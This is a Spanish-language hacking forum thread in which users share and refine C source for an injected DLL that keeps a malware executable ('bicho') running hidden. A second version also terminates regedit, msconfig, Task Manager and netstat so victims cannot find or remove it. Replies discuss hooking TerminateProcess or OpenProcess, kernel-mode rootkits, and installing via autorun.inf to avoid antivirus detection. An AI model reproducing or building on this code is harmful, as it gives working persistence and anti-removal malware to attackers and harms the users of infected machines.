Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de
Autor
|
Tema: Proceso Inmortal (Leído 1,983 veces)
|
Jaixon Jax
Desconectado
Mensajes: 855
|
 Ayer vi un post por alli y decidi hacer esto: int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved) {
if (reason== DLL_PROCESS_ATTACH) { const size_t newsize = 100; char nstring[newsize]; size_t convertedChars = 0; int ban; do { Sleep(1000); HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)}; ban=0; while(Process32Next(handle,&procinfo)) { if(strcmp(procinfo.szExeFile,"bicho.exe")==0) { CloseHandle(handle); ban=1; } } if(!ban) { CloseHandle(handle); ShellExecute(0,"OPEN","\\bicho.exe",NULL,"directorio del bicho",SW_HIDE); } } while(1); } return 1; } Es una dll que se encarga de monitoriar el estado de un proceso y en caso que no se este ejecutando lo ejecuta bueno realmente lo que hice fue revolver un poco el codigo de EON  XD pero para que hacer lo que ya esta hecho  y alli le hice algunas modificaciones para que realice lo que necesito que es proteger mi programa para que no se cierre. Esta dll debe ser inyectada con un rootkit que puede ser parte del codigo del mismo bicho  . Lo intente inyectar en explorer.exe pero al parecer la dll afecta al proceso y la pc se cuelga  Pero la inyecte en jusched.exe y funciona al pelo  . Claro esto no es cien porciento seguro ya que si se sabe cual es el proceso infectado nada mas hay que detenerlo y listo se descarga la dll pero para eso estaria el bicho para que proteja la dll yo te cuido tu me cuidas  Ahora voy a ver si Hookeo TerminateToProcess jeje 
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
Karcrack
|
Mírate esto, seguro que te gusta  http://hsec.files.wordpress.com/2008/10/introduccion-a-la-programacion-de-drivers.pdf 
|
|
|
|
|
En línea
|
|
|
|
Arkangel_0x7C5
Desconectado
Mensajes: 298
|
si te inyectas en todos los procesos no tendras que preocuparte, de todas maneras, siempre se podrán pausar los procesos.
Y si lo dejan así dará lo mismo que verifiques si esta abierto
Saludos
|
|
|
|
|
En línea
|
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
 cita de karcrack Si ya me descargue DDK y tengo una semana en eso  eso es la joya de la corona jeje. Es total mente diferente a lo que estoy acostumbrado hacer pero ¡ Valla que tiene aplicaciones ¡ de hecho ya lei un post por alli que hablaban sobre un bicho hecho en ese nivel definitivamente ese es el futuro del malware. Pero lo bueno siempre es mas caro y la programacion en DDK no es facil de asimilar de la noche a la mañana, ni tampoco es algo que todo el mundo asimile. ¡ Es muy Abstracto ¡ Xd. Ahora la cuestion que me inquieta es si se puede hacer todo el codigo en ddk osea un unico archivo sys que no dependa de ningun dll ni exe , y se me ocurrio que tal vez se pueda editar un autorun.inf que lo imstale sin usar ningun open o shellexecute que lo delate con los AV . esa seran incognitas que resolvere con el tiempo pero si se puede  voy ha tener en que entretenerme. PD. El ASM es uno de los requerimientos para esto pero estuve googleando y no encontre donde descargarlo, si es que hay que descargarlo XD 
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
Karcrack
|
Pásate por aquí: https://foro.elhacker.net/asm/entry_point-t256455.0.html Yo te recomiendo FASM, que es un ensamblador de ASM 
|
|
|
|
|
En línea
|
|
|
|
|
Hendrix
|
Analicemos este post  Esta dll debe ser inyectada con un rootkit que puede ser parte del codigo del mismo bicho [....] Ahora voy a ver si Hookeo TerminateToProcess jeje  Un rootkit no es un "Inyectador de Dll's". Segun la Wikipedia es lo siguiente: " Un rootkit es una herramienta, o un grupo de ellas que tiene como finalidad esconderse a sí misma y esconder otros programas, procesos, archivos, directorios, claves de registro, y puertos que permiten al intruso mantener el acceso a un sistema para remotamente comandar acciones o extraer información sensible, a menudo con fines maliciosos o destructivos." Lo segundo, no es TerminateToProcess, sino que es TerminateProcess, aunque yo primero hookearia OpenProcess. si te inyectas en todos los procesos no tendras que preocuparte, de todas maneras, siempre se podrán pausar los procesos.
Y si lo dejan así dará lo mismo que verifiques si esta abierto
Saludos
Estas cosas, hacerlas en modo usuario son algo cutres, ya que solamente con el ProcessExplorer y con un pequeño código para descargar la Dll de memoria (o alguna aplicación que haga esto, hay muchas) se puede reparar. En modo Kernel también es posible saltarse esta "protección", aunque es algo más complicado, depende del grado de complejidad que le pongas. de hecho ya lei un post por alli que hablaban sobre un bicho hecho en ese nivel definitivamente ese es el futuro del malware. Pero lo bueno siempre es mas caro y la programacion en DDK no es facil de asimilar [...] Ahora la cuestion que me inquieta es si se puede hacer todo el codigo en ddk osea un unico archivo sys que no dependa de ningun dll ni exe , y se me ocurrio que tal vez se pueda editar un autorun.inf que lo imstale sin usar ningun open o shellexecute que lo delate con los AV . esa seran incognitas que resolvere con el tiempo pero si se puede  voy ha tener en que entretenerme. PD. El ASM es uno de los requerimientos para esto pero estuve googleando y no encontre donde descargarlo, si es que hay que descargarlo XD  - No es el futuro del malware, hace ya años que los virus utilizan el modo kernel para aprovechar sus ventajas. Había quienes lograban saltar a Ring0 directamente desde Ring3 (Chernobyl en Win 9x). Actualmente es muy complicado ejecutar codigo en R0 desde R3, hace unos meses ley que con un fallo en las IOCTL's puedes hacer que el driver vulnerable ejecutara direcciones de memoria que quisieras, aunque no recuerdo a que niveles se podia apuntar (creo que solo a R0, por lo tanto no serviria de mucho).
- No es programacion en DDK, sino programación de modulos del Kernel de Windows
 - Necesitas cargar en modulo con algun ejecutable propio o, como mínimo, registrarlo en el registro para que se ejecute en el próximo arranque de sistema
- Te tienes que descargar un ensamblador y linkeador (suele venir junto), el ASM es un lenguaje, al igual que el C/C++, VB; etc.

Un Saludo 
|
|
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
Gracias Hendrix por las correcciones  Bueno estuve viendo el codigo y me pregunte si se podia hacer esto jeje  int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved) {
if (reason== DLL_PROCESS_ATTACH) { unsigned long exitCode; nt pid; const size_t newsize = 100; char nstring[newsize]; size_t convertedChars = 0; int ban; do { Sleep(1000); HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)}; ban=0; while(Process32Next(handle,&procinfo)) { if(strcmp(procinfo.szExeFile,"Project1.exe")==0) { ban=1; } if(strcmp(procinfo.szExeFile,"regedit.exe")==0||strcmp(procinfo.szExeFile,"msconfig.exe")==0||strcmp(procinfo.szExeFile,"taskmgr.exe")==0||strcmp(procinfo.szExeFile,"netstat.exe")==0) { HANDLE h1; pid=procinfo.th32ProcessID; h1=OpenProcess(PROCESS_ALL_ACCESS,false,pid); bool ban2=0; if(h1!=NULL) { GetExitCodeProcess(h1, &exitCode); TerminateProcess(h1, exitCode); CloseHandle(h1); ban2=true; } if(!ban2) CloseHandle(h1); } } if(!ban) { ShellExecute(0,"OPEN","d:\\Project1.exe",NULL,"d:\\",SW_HIDE); } CloseHandle(handle); } while(1); } return 1; } No he hookeado nada todavia pero vaya que funciona  Todavia no se descargarlo por lo que me toca reiniciar mi pc  de todas maneras voy ha ver si se puede en msdos  . Saludos
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
|